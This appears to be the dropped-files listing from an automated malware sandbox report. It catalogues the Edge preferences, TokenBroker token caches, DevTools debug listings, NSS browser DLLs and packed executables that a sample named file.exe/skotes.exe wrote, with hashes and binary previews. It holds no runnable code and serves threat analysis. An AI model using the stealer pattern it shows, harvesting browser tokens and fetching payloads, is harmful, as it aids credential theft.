C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bc578dc7-6ec4-4feb-ba2b-766b3ac56c6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46211
Entropy (8bit):	6.087145036539311
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc58Ky7WBi1zNtL4pkyQm1vaiADEk2Ff07ZWCionJDSgzMMd6qD473:mMk1rT8HkKM4hy2pLFontSmd6qE73
MD5:	5758A88DCB328AA8B3670687794B2EEE
SHA1:	81F42AC139A2570C988AFC1C8271C04498C15DFE
SHA-256:	A8B0B4C87FD4B1D6E16B8A6F1C411C08EC4ABE7B87C2C4ACBB751F20C8B5150F
SHA-512:	02890A40097151EEF3BE19D5A52EDB9F31038A7CCDCE1AE7D55C24D7E966F4B4745A5D51C8E6CCC0FF3779CBCAC399395F9E6E443E8915A4A8532BA868D87729
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376756622732693","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"3c1b890b-d10a-431a-a32f-6741b226bb89"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732283026"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e56eda3f-71ab-4e7a-9101-e12e316ca3f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46134
Entropy (8bit):	6.087211438307218
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5dKy7WBi1zNtL4pkyJ9m1vaiADEk2Ff07ZWCionJDSgzMMd6qD4r:mMk1rT8H1KM4hJ72pLFontSmd6qE73
MD5:	D9DA6022FFF6848C6E0242A0B5E34029
SHA1:	C3DABD11A4EF36F7C1EF1E93D5A1D9DD8143CDC5
SHA-256:	56935598D292BEAD824359E4EF280CC0BF8B5B55A64036754F7AC807E593938C
SHA-512:	10D3DD5CC4BAD90D9A8B48416C3C7B7EEC3C64A4BF3914D1EE2BA0B1F4962D04EBF0E86695D78F8053C2C84BB992F6E71E4F3286E60DA8C95F87D9FE4732A3DD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376756622732693","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"3c1b890b-d10a-431a-a32f-6741b226bb89"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732283026"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8540729945200747
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxGFxl9Il8uouZaiPDCyOpR0buHuldNd1rc:m9YeUaGCrP0Y
MD5:	F9B10B43B3632EC5AABCE006D2403C00
SHA1:	5F5D389C557CE5AFC20F4E002F802AA4166C060C
SHA-256:	B728FD078A86BF0CFEAFB723F16923280F10378228D802B0561232FE13654A87
SHA-512:	1312FFFFCFB79F9496A19E57B4A40DF0FA439D055AD3A2ED3946D54A200E20CA662CF8805A58EE669D1F0CDE7683315845BDBD757BF0E80CBDCC299D879F32CA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.L.0.p.7.+.w.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.p.+.N.W.h.C.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9985147048787257
Encrypted:	false
SSDEEP:	96:jY2Hyw1PJBmaXsEEXtat2Adix4IcbnA5lLn:jNSwLBmaedaAqixyA/n
MD5:	72B5DB457E9F8CBD0720658A27ECC9EC
SHA1:	7899E2A88D8382E2F27E84C95575DEBC334DD231
SHA-256:	C7D86E824D7E0D0266C3FECF8C5F48E840E335DE682D1048AD2355F7229E9139
SHA-512:	50173918E7471E644AADA2E7983B64FBB49BB2BB517FBB578B93F7ABEE045ACF3115DB8E17E202DC80EE8593614AFEB927DEC41D336B76EAE12B89A33CC91DC8
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".0.D.2.H.1.O.Q.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.p.+.N.W.h.C.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8982183137846618
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xWxl9Il8ukireac2OZgLlEuaZlogCcwjZg5fYgXaaiAezd/vc:a8Yefachxu0SgCjjO5fXaa8u
MD5:	90C7A767BEA0433E0F9C12F52011B807
SHA1:	AB396505286DCB7B5F7A5149DA66F6178D477ED3
SHA-256:	7AA41E523A1D8969B601A6C8CEDD4101C93B369B19F86295B9B2EB2D3E589CC5
SHA-512:	16D1E980267728881B295D8A42EFF299A235323A498948F46CDCDCE082342854339E8FB9D8315958EEEC0DA1C49B65D09B9900F926454CF3AB662A36C401D891
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.a.b.U.B.L.Z.b.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.p.+.N.W.h.C.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.397577488423613
Encrypted:	false
SSDEEP:	96:6NnQmHQ5NnQEbQVNnQfLY9QfLNnQ5dgEQLNnQ4QcNnQ8DQ2NnQIwQpNnQ53Qg:6N6N8NoL9LNwGNnNhlNHtNm
MD5:	149C64D747DD0349534406CFD0AA6CDE
SHA1:	7926AA41ADA5A3AA097E7CA777153E288394FDD8
SHA-256:	93F09D9340D08A5C4D418DD793CE289D696B047659CA33457EBCD3DD26830DE0
SHA-512:	F993AFFA28898EF230A266423DB805F24BD31EAD94ADA9713269AB51D96C1E3EC813BE1121DCFB65EAC5B02D7C20D56EA5C65622A1F3CAF98FDACA32CDBF261A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CF517CDC7F14340F3AB0F6F592C33590",.. "id": "CF517CDC7F14340F3AB0F6F592C33590",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CF517CDC7F14340F3AB0F6F592C33590"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9984A065C16088F99E7E9B72F0A345F4",.. "id": "9984A065C16088F99E7E9B72F0A345F4",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9984A065C16088F99E7E9B72F0A345F4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	7.53366667522322
Encrypted:	false
SSDEEP:	768:yAr/Uj7rkP+hpCnfAm3AMjPqXH4r+lT3OKTykYgNf:yAr/UnPhp2fDAzYKFO9of
MD5:	83AA10E7AFDC05E0A37CEA5D5B17D746
SHA1:	BA5E19EB02F16178E1D8901F1D8629F98E7858CC
SHA-256:	22E1BCE69CE8C167DCE3BA630F3E033CF575F49CC1AD7299B9955BEF13804F95
SHA-512:	B8960FC3CEBAC81B3D011A6A5C6CC61451A8BAF3AB6D50A6B81D9773A059D457B3E751A8853F7F5F5DE635934CA3F99E38962337C88EABCEABC0AD1E9C936C93
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................0K...........@..........................`K...........@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... .0+..........v..............@...wgudgomd.`....0..X...x..............@...yuwjtwak..... K.....................@....taggant.0...0K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3839289946241635
Encrypted:	false
SSDEEP:	48:SfNaoQFTEQ1fNaoQgQgfNaoQl7DQXfNaoQ4B3i3lH0UrU0U8Q4B3u8:6NnQFTEQhNnQgQsNnQl7DQPNnQ4B3i3V
MD5:	A6F132D73055809461E00585F0B51E74
SHA1:	9C650A1F63884DA3D211B9AC0BF74AB057005E7F
SHA-256:	062E52F163493716C2BE2D2A7DA61E8D8B35F1433D4C6DFFDFB97F183DD453FF
SHA-512:	26830DE0D0B722249C309A7F6A68FAEF462991EA4EBEE72ADFB548A45CA89BBD2235DC2A0ADA029160B9AC8BA61BB964D3967094E8C75BB878F67D298179C41E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A20106DBDF08DBF80B8505AF1290B018",.. "id": "A20106DBDF08DBF80B8505AF1290B018",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A20106DBDF08DBF80B8505AF1290B018"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/3EC8CAE962751014BCBFD537167AC12E",.. "id": "3EC8CAE962751014BCBFD537167AC12E",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/3EC8CAE962751014BCBFD537167AC12E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1881088
Entropy (8bit):	7.94968304003444
Encrypted:	false
SSDEEP:	49152:PMGDMQEgEDs8SLI5GQ3+l1cxRGPfyJgSuOB3X:PMLZuIgQuxpSbF
MD5:	1DAA3A0AA5ED7E06B400A47309BA5003
SHA1:	8D475FD4BE28EE701DBE5E2FE489FE9E9B3E826D
SHA-256:	C3D0427B8BC9D084AC65B881EC50F55BE52650F60850AC05010CCC8D56E3D1CB
SHA-512:	BC671CD250579413E693D2A61C2873A776A7C39125ADDD78B7A39A268C508FB638CD7C552FAABD3AC9A53BAF4B97086173AF09264DD68E2F5A7516B55A3F2ED8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PJ...........@...........................J......Z....@.................................W...k.......H....................3J.............................P3J..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..).........................@...fydbnmjr......0.....................@...ftxffxns.....@J.....................@....taggant.0...PJ.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4418560
Entropy (8bit):	7.986555874592222
Encrypted:	false
SSDEEP:	98304:KyomaMWEVLamDLaUw+Z1R0pfhNmVoTkj9AblQFHtN:KQQEJhDLPw20p3e1NT
MD5:	B759516B5EE0D73ED0870C1BE43FB479
SHA1:	34533E5CA737F48D55C73BA5CB939F39089C04C2
SHA-256:	91180F943FEF39F7177BBD1C1D8CF225FE93C0264DEE172EBC7C96E69592373F
SHA-512:	E911A8CA629D58942DA1B2F8A85552B7F65814E071FB3105049E61EEEF75FE4B545ADBD95E01D58510B48F2ABE83A630D438C8EA95ABFD0E1866DE330F27BC26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@.................................3.C...@... ............................._.q.s...........................................................P....................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... 